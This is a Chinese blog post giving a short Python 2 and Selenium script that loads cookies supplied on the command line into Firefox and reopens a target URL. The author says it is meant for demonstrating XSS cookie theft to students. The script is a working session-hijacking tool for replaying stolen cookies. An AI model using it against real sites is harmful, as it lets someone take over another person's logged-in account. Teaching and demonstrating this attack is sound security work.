Python + Selenium实现cookie欺骗小工具

许久不更。。。。。。。。。。。。
最近要给学弟们讲一下xss,发现在Linux上面没有好用的cookie欺骗工具,为了演示的方便起见,决定自己写一个简单的。借这个机会了解了一下Selenium,发现真是挺强大的,准备以后有时间把二把刀的爬虫再捡起来深入一下。

0x01准备

  1. 安装Selenium
    pip install selenium
  2. 安装浏览器驱动
    本来firefox是不用安装驱动的,但是在selenium 3之后也需要安装驱动。
    下载地址:https://github.com/mozilla/geckodriver/releases
    chrome: https://sites.google.com/a/chromium.org/chromedriver/downloads (需翻墙)

    ps. 要保证浏览器和浏览器驱动都配置在环境变量里,否则会报错。比如Kali2.0直接将下载的文件放到/usr/bin目录下即可。

0x02代码

from selenium import webdriver
import urllib
import getopt
import sys

url = ''
cookies = ''

#将获取到的cookie进行整理
def cookies_parse(cookies):
    parsed_cookies = []
    cookies = urllib.unquote(cookies) #urldecode
    cookies = cookies.split(';')
    for cookie in cookies:
        cookie = cookie.strip()
        name = cookie.split('=')[0].replace(' ', '+') #将空格替换为+
        value = cookie.split('=')[1].replace(' ', '+')
        parsed_cookies.append({'name': name, 'value': value})
    return parsed_cookies

def cookie_cheat(url, cookies):
    driver = webdriver.Firefox() #调用Firefox浏览器
    driver.get(url) #访问目标url

    #selenium没有修改cookie的功能,只能删除然后添加   
    driver.delete_all_cookies() #删除所有cookie
    for cookie in cookies:
        #print cookie
        driver.add_cookie(cookie) #添加获取到的cookie

    driver.get(url) #再次访问
    driver.close()

def main():
    global url
    global cookies

    #命令行参数解析
    if not len(sys.argv[1:]):
        print 'usage: python cookie_cheat.py -u target_url -c cookies'
        sys.exit(0)

    try:
        opts, args = getopt.getopt(sys.argv[1:], 'u:c:', ['url', 'cookies'])
    except getopt.GetoptError as err:
        print str(err) 
        print 'usage: python cookie_cheat.py -u target_url -c cookies'
        sys.exit(0)

    for o, a in opts:
        if o in ("-u", "--url"):
            url = a
        elif o in ("-c", "--cookie"):
            cookies = a
    ################

    cookies = cookies_parse(cookies)
    url = url if url.startswith('http://') else ('http://' + url)
    cookie_cheat(url, cookies)

if __name__ == '__main__':
    main()

0x03参考资料

标签: python